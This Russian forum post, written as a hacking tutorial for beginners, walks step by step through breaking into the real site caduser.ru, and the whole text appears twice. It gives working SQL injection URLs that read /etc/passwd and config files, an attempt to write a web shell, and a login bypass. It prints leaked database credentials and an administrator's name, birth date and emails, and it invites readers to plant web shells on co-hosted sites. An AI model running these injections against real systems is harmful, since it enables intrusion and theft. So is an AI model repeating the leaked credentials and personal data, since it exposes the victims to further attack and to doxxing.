_Pantera_
24.07.2008, 12:31
Введение
Меня довольно часто просят снять на видео сам процесс взлома. Именно сам ход мыслей, стратегию и т.п
Я решил написать статью, которая возможно поможет многим начинающим в освоении хака......
И так, НАЧНЕМ!
Сайт, который я ломаю - caduser.ru
Информационный портал, посвященный программным продуктам для автоматизации проектирования, электронного архива и управления проектами, систем подготовки производства, инженерного анализа, управления станками с ЧПУ, геоинформационных систем и решений в области визуализации и мультимедиа.
PR – 3
ТИЦ – 325
Скажу вам это довольно неплохо. Сразу захотелось проверить файл robots.txt (Для тех кто незнает http://ru.wikipedia.org/wiki/Robots.txt), но результат не оправдал себя:
User-agent: *
Disallow: /img
Disallow: /inc
Админкой тут и не пахнет, ну что ж, двигаем дальше.....
Сканирую порты, и на выходе получаю:
Port 21/tcp (ftp) - FTP Server- FTP-Server
Port 22/tcp (ssh) - SSH- Secureshell
Port 80/tcp (http) - Web Server- Web Server
Port 3306/tcp () - MySQL Server- Es ist ein MySQL Server aktiv
Port 8080/tcp () - alt. WebServer z.B. Router- alt HTTP Port / Proxy
Open Ports: 5
Очень впечатляющий результат! Значит к БД можно удаленно подконектиться, а для этого нужны кое-какие данные, которые нам предстоит найти.
Исследую сайт, и вскоре нахожу
http://www.caduser.ru/acad/index.php?ver_id=5
Параметр ver_id уязвим. На сайте присутствует SQL-inj, в этом можно убедиться подставив кавычку получаем:
QF-2a: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
Подбираем количество полей в таблице, (расписывать не буду как это делается, статей по этому поводу полно), их оказалось 4. Формируем запрос(подставляя стандартную mysql.user, а вдруг повезет):
http://www.caduser.ru/acad/index.php?ver_id=-5+union+select+1,2,3,4+from+mysql.user/*
Поле 2 выводиться на экран. Для начала я решил узнать логин и пароль рута от БД
http://www.caduser.ru/acad/index.php?ver_id=-5+union+select+1,concat(user,char(58),password),3, 4+from+mysql.user/*
А в ответ получаю:
QF-2a: Illegal mix of collations (koi8r_general_ci,IMPLICIT) and (utf8_bin,IMPLICIT) for operation 'UNION'
Эту запару можно обойти несколькими способами, я выбрал кодирование и декодирование HEX-ом:
http://www.caduser.ru/acad/index.php?ver_id=-5+union+select+1,unhex(hex(concat(user,char(58),pa ssword))),3,4+from+mysql.user/*
а на выходе получил голого Root-a. Админ решил не ставить пароль =) Идем дальше!
Проверяем file_priv:
http://www.caduser.ru/acad/index.php?ver_id=-5+union+select+1,unhex(hex(file_priv)),3,4+from+my sql.user/*
Y
Вот оно!!! То, что может порадовать мне душу. Ковычки не фильтруються!
Пробуем вывести /etc/passwd (результат очевиден из выше сказанного)
http://www.caduser.ru/acad/index.php?ver_id=-5+union+select+1,load_file('/etc/passwd'),3,4+from+mysql.user/*
Получаем:
root:*:0:0:Charlie &:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:System &:/:/usr/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin
news:*:8:8:News Subsystem:/:/usr/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin
proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin
uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin
www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
mysql:*:88:88:MySQL Daemon:/nonexistent:/sbin/nologin
ftp:*:21:21::/htdocs/FTP/guest:/bin/date
webadmin:*:10001:10001::/htdocs:/bin/tcsh
webadmin2:*:10001:10001::/htdocs:/bin/tcsh
pgsql:*:70:70:PostgreSQL Daemon:/usr/local/pgsql:/bin/sh
upload:*:10002:10002:User &:/htdocs/FTP/upload/:/bin/date
price:*:10001:10001:User &:/htdocs/web/consistent/WWW/price/:/bin/date
tdms-help:*:10001:10001:User &:/htdocs/web/tdms-help/DATA/:/bin/date
boom:*:976:20:Alexey Sviridov:/home/boom:/bin/tcsh
Из этих сведений можно вытянуть информацию про порты которые открыты, но нам оно уже не надо))
Пробую прочитать самый корень сервака:
http://www.caduser.ru/acad/index.php?ver_id=-5+union+select+1,load_file('/'),3,4+from+mysql.user/*
ДА!!! Он читается! Читаются и каталоги и подкаталоги т.е мы можем просмотреть содержимое всех файлов в любой папке. Первым делом я раскрыл путь к каталогу WWW:
/htdocs/web/caduser/WWW/
Меня интересовали имена папок в этом каталоге:
acad, article, banner, books, data, gallery, img, pass, subscribe, counters, image, inc, dealer.
Раз у нас есть права на чтение-запись и не фильтруются ковычки, грех не попробовать залить веб-шелл через into outfile:
http://www.caduser.ru/acad/index.php?ver_id=-1+union+select+1,'<?php phpinfo();?>',3,4+into+outfile+'/htdocs/web/caduser/WWW/image/1.php'/*
Вот запара, куда не плюнь видим:
QF-2a: Can't create/write to file '/htdocs/web/caduser/WWW/image/1.php' (Errcode: 13)
Прав не хватает, ну что ж как говориться - еще не все потеряно, двигаем дальше!
Решил я спуститься на один каталог выше /htdocs/web/caduser/ и посмотреть, что там твориться. Единственное, что меня там заинтересовало, это папочка PASS. Идем прямо в нее:
http://www.caduser.ru/acad/index.php?ver_id=-1+union+select+1,load_file('/htdocs/web/caduser/PASS/'),3,4+from+mysql.user/*
И сразу вижу интересные для себя файлы:
access.php
admin.php
login.php
pass.php
user.php
Посмотрим что лежит в первом. Самое интересное на что я обратил внимание это:
define('CS_PASS_LINK','http://pass.caduser.ru/');//
if(!defined('DEMOS')){
$demos = mysql_connect("195.133.21.9", "lermsc", "8Jm9zk4d") or die("Could not connect");
define('DEMOS',$demos);
$result = mysql_query("SET CHARACTER SET cp1251_koi8",DEMOS) or die("QF-1: ".mysql_error());
mysql_select_db("lermsc",DEMOS);
Начнем с самого верха http://pass.caduser.ru/ наверное что то типа админки. Там просят для авторизации email и password, но изучая сорсы сайта я понял что все что можно храниться в БД. Пробую ввести
Email: heck’ or 1=1/*
Password: heck’ or 1=1/*
Но результат превысил себя, на выходе я получил:
$vars['user']
Array
(
[user_id] => 1
[user_nick] => den-si
[user_pass] => 34774628489886c5
[user_update] => 2006-08-01 19:10:07
[email_id] => 48
[use_nick] => 0
[user_data] =>
[must_change_pass] => 0
[show_email] => 0
[person_id] => 2
[email_body] => den-si@mail.ru
[person_name] => Сипидин Денис Павлович
[person_bd] => 1972-05-31
[person_sex] => 0
[person_note] => Администратор
[person_email] => sipidin@consistent.ru
[obj_id] => 6518
)
Вот такая она админка, но на самом деле ничего тут интересного нет, кроме инфы об Сипидин Денис Павлович, который является администратором.
Прочитаем еще не менее интересный файлик pass.php
http://www.caduser.ru/acad/index.php?ver_id=-1+union+select+1,load_file('/htdocs/web/caduser/PASS/pass.php'),3,4+from+mysql.user/*
И тут есть не менее интересные строки:
//$demos = mysql_connect("195.133.21.9", "lermsc", "8Jm9zk4d") or die("Could not connect");
//$demos = mysql_connect('194.87.13.132', 'csoft', 'as2hc9J!tyd83') or die("Could not connect");
$demos = mysql_connect('localhost', 'root', '') or die("Could not connect");
define('DEMOS',$demos);
mysql_select_db("lermsc",DEMOS) or die("Could not select database");
Вот тут то мы и убедились, что пароля на самом деле нет к БД
На этом я хочу остановиться, несколько раз обдумывал это решение. Шелл заливать не буду из нескольких соображений, во первых это запрещено форумом, во-вторых форум в паблике, а тут хулиганов немеренно, сеть сайтов все-таки коммерческая!
С помощью Reverse IP можно узнать сайты хостящиеся вместе с нашим:
archicad.ru
autocad.ru
autograph.ru
cadmaster.ru
caduser.ru
calcomp.ru
consistent.ru
contex.ru
csf.ru
csoft.ru
dealer.consistent.ru
dv.csoft.ru
encad.ru
ftp.csf.ru
geonics.ru
geonika.ru
img.csf.ru
inventor.ru
kazan.csoft.ru
klgd.csoft.ru
krasnoyarsk.csoft.ru
krsk.csoft.ru
kuban.csoft.ru
ler.ru
mutoh.ru
nnov.csoft.ru
oce.ru
omsk.csoft.ru
perm.csoft.ru
plant4d.ru
plotter.ru
rostov.csoft.ru
seal.ru
spb.csoft.ru
srvc.ru
strucad.ru
subscribe.caduser.ru
summa.ru
tdms.ru
technologics.ru
tyumen.csoft.ru
ural.csoft.ru
vidarscan.ru
vrn.csoft.ru
yaroslavl.csoft.ru
Если спуститься еще на один уровень выше /htdocs/web/ можно их все просмотреть. Ну и если кому то неймется через into outfile на caduser.ru залить веб-шелл, наверняка хоть на одном из них найдется папка для записи.
Спасибо за внимание! _Pantera_ (C)
Меня довольно часто просят снять на видео сам процесс взлома. Именно сам ход мыслей, стратегию и т.п
Я решил написать статью, которая возможно поможет многим начинающим в освоении хака......
И так, НАЧНЕМ!
Сайт, который я ломаю - caduser.ru
Информационный портал, посвященный программным продуктам для автоматизации проектирования, электронного архива и управления проектами, систем подготовки производства, инженерного анализа, управления станками с ЧПУ, геоинформационных систем и решений в области визуализации и мультимедиа.
PR – 3
ТИЦ – 325
Скажу вам это довольно неплохо. Сразу захотелось проверить файл robots.txt (Для тех кто незнает http://ru.wikipedia.org/wiki/Robots.txt), но результат не оправдал себя:
User-agent: *
Disallow: /img
Disallow: /inc
Админкой тут и не пахнет, ну что ж, двигаем дальше.....
Сканирую порты, и на выходе получаю:
Port 21/tcp (ftp) - FTP Server- FTP-Server
Port 22/tcp (ssh) - SSH- Secureshell
Port 80/tcp (http) - Web Server- Web Server
Port 3306/tcp () - MySQL Server- Es ist ein MySQL Server aktiv
Port 8080/tcp () - alt. WebServer z.B. Router- alt HTTP Port / Proxy
Open Ports: 5
Очень впечатляющий результат! Значит к БД можно удаленно подконектиться, а для этого нужны кое-какие данные, которые нам предстоит найти.
Исследую сайт, и вскоре нахожу
http://www.caduser.ru/acad/index.php?ver_id=5
Параметр ver_id уязвим. На сайте присутствует SQL-inj, в этом можно убедиться подставив кавычку получаем:
QF-2a: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
Подбираем количество полей в таблице, (расписывать не буду как это делается, статей по этому поводу полно), их оказалось 4. Формируем запрос(подставляя стандартную mysql.user, а вдруг повезет):
http://www.caduser.ru/acad/index.php?ver_id=-5+union+select+1,2,3,4+from+mysql.user/*
Поле 2 выводиться на экран. Для начала я решил узнать логин и пароль рута от БД
http://www.caduser.ru/acad/index.php?ver_id=-5+union+select+1,concat(user,char(58),password),3, 4+from+mysql.user/*
А в ответ получаю:
QF-2a: Illegal mix of collations (koi8r_general_ci,IMPLICIT) and (utf8_bin,IMPLICIT) for operation 'UNION'
Эту запару можно обойти несколькими способами, я выбрал кодирование и декодирование HEX-ом:
http://www.caduser.ru/acad/index.php?ver_id=-5+union+select+1,unhex(hex(concat(user,char(58),pa ssword))),3,4+from+mysql.user/*
а на выходе получил голого Root-a. Админ решил не ставить пароль =) Идем дальше!
Проверяем file_priv:
http://www.caduser.ru/acad/index.php?ver_id=-5+union+select+1,unhex(hex(file_priv)),3,4+from+my sql.user/*
Y
Вот оно!!! То, что может порадовать мне душу. Ковычки не фильтруються!
Пробуем вывести /etc/passwd (результат очевиден из выше сказанного)
http://www.caduser.ru/acad/index.php?ver_id=-5+union+select+1,load_file('/etc/passwd'),3,4+from+mysql.user/*
Получаем:
root:*:0:0:Charlie &:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:System &:/:/usr/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin
news:*:8:8:News Subsystem:/:/usr/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin
proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin
uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin
www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
mysql:*:88:88:MySQL Daemon:/nonexistent:/sbin/nologin
ftp:*:21:21::/htdocs/FTP/guest:/bin/date
webadmin:*:10001:10001::/htdocs:/bin/tcsh
webadmin2:*:10001:10001::/htdocs:/bin/tcsh
pgsql:*:70:70:PostgreSQL Daemon:/usr/local/pgsql:/bin/sh
upload:*:10002:10002:User &:/htdocs/FTP/upload/:/bin/date
price:*:10001:10001:User &:/htdocs/web/consistent/WWW/price/:/bin/date
tdms-help:*:10001:10001:User &:/htdocs/web/tdms-help/DATA/:/bin/date
boom:*:976:20:Alexey Sviridov:/home/boom:/bin/tcsh
Из этих сведений можно вытянуть информацию про порты которые открыты, но нам оно уже не надо))
Пробую прочитать самый корень сервака:
http://www.caduser.ru/acad/index.php?ver_id=-5+union+select+1,load_file('/'),3,4+from+mysql.user/*
ДА!!! Он читается! Читаются и каталоги и подкаталоги т.е мы можем просмотреть содержимое всех файлов в любой папке. Первым делом я раскрыл путь к каталогу WWW:
/htdocs/web/caduser/WWW/
Меня интересовали имена папок в этом каталоге:
acad, article, banner, books, data, gallery, img, pass, subscribe, counters, image, inc, dealer.
Раз у нас есть права на чтение-запись и не фильтруются ковычки, грех не попробовать залить веб-шелл через into outfile:
http://www.caduser.ru/acad/index.php?ver_id=-1+union+select+1,'<?php phpinfo();?>',3,4+into+outfile+'/htdocs/web/caduser/WWW/image/1.php'/*
Вот запара, куда не плюнь видим:
QF-2a: Can't create/write to file '/htdocs/web/caduser/WWW/image/1.php' (Errcode: 13)
Прав не хватает, ну что ж как говориться - еще не все потеряно, двигаем дальше!
Решил я спуститься на один каталог выше /htdocs/web/caduser/ и посмотреть, что там твориться. Единственное, что меня там заинтересовало, это папочка PASS. Идем прямо в нее:
http://www.caduser.ru/acad/index.php?ver_id=-1+union+select+1,load_file('/htdocs/web/caduser/PASS/'),3,4+from+mysql.user/*
И сразу вижу интересные для себя файлы:
access.php
admin.php
login.php
pass.php
user.php
Посмотрим что лежит в первом. Самое интересное на что я обратил внимание это:
define('CS_PASS_LINK','http://pass.caduser.ru/');//
if(!defined('DEMOS')){
$demos = mysql_connect("195.133.21.9", "lermsc", "8Jm9zk4d") or die("Could not connect");
define('DEMOS',$demos);
$result = mysql_query("SET CHARACTER SET cp1251_koi8",DEMOS) or die("QF-1: ".mysql_error());
mysql_select_db("lermsc",DEMOS);
Начнем с самого верха http://pass.caduser.ru/ наверное что то типа админки. Там просят для авторизации email и password, но изучая сорсы сайта я понял что все что можно храниться в БД. Пробую ввести
Email: heck’ or 1=1/*
Password: heck’ or 1=1/*
Но результат превысил себя, на выходе я получил:
$vars['user']
Array
(
[user_id] => 1
[user_nick] => den-si
[user_pass] => 34774628489886c5
[user_update] => 2006-08-01 19:10:07
[email_id] => 48
[use_nick] => 0
[user_data] =>
[must_change_pass] => 0
[show_email] => 0
[person_id] => 2
[email_body] => den-si@mail.ru
[person_name] => Сипидин Денис Павлович
[person_bd] => 1972-05-31
[person_sex] => 0
[person_note] => Администратор
[person_email] => sipidin@consistent.ru
[obj_id] => 6518
)
Вот такая она админка, но на самом деле ничего тут интересного нет, кроме инфы об Сипидин Денис Павлович, который является администратором.
Прочитаем еще не менее интересный файлик pass.php
http://www.caduser.ru/acad/index.php?ver_id=-1+union+select+1,load_file('/htdocs/web/caduser/PASS/pass.php'),3,4+from+mysql.user/*
И тут есть не менее интересные строки:
//$demos = mysql_connect("195.133.21.9", "lermsc", "8Jm9zk4d") or die("Could not connect");
//$demos = mysql_connect('194.87.13.132', 'csoft', 'as2hc9J!tyd83') or die("Could not connect");
$demos = mysql_connect('localhost', 'root', '') or die("Could not connect");
define('DEMOS',$demos);
mysql_select_db("lermsc",DEMOS) or die("Could not select database");
Вот тут то мы и убедились, что пароля на самом деле нет к БД
На этом я хочу остановиться, несколько раз обдумывал это решение. Шелл заливать не буду из нескольких соображений, во первых это запрещено форумом, во-вторых форум в паблике, а тут хулиганов немеренно, сеть сайтов все-таки коммерческая!
С помощью Reverse IP можно узнать сайты хостящиеся вместе с нашим:
archicad.ru
autocad.ru
autograph.ru
cadmaster.ru
caduser.ru
calcomp.ru
consistent.ru
contex.ru
csf.ru
csoft.ru
dealer.consistent.ru
dv.csoft.ru
encad.ru
ftp.csf.ru
geonics.ru
geonika.ru
img.csf.ru
inventor.ru
kazan.csoft.ru
klgd.csoft.ru
krasnoyarsk.csoft.ru
krsk.csoft.ru
kuban.csoft.ru
ler.ru
mutoh.ru
nnov.csoft.ru
oce.ru
omsk.csoft.ru
perm.csoft.ru
plant4d.ru
plotter.ru
rostov.csoft.ru
seal.ru
spb.csoft.ru
srvc.ru
strucad.ru
subscribe.caduser.ru
summa.ru
tdms.ru
technologics.ru
tyumen.csoft.ru
ural.csoft.ru
vidarscan.ru
vrn.csoft.ru
yaroslavl.csoft.ru
Если спуститься еще на один уровень выше /htdocs/web/ можно их все просмотреть. Ну и если кому то неймется через into outfile на caduser.ru залить веб-шелл, наверняка хоть на одном из них найдется папка для записи.
Спасибо за внимание! _Pantera_ (C)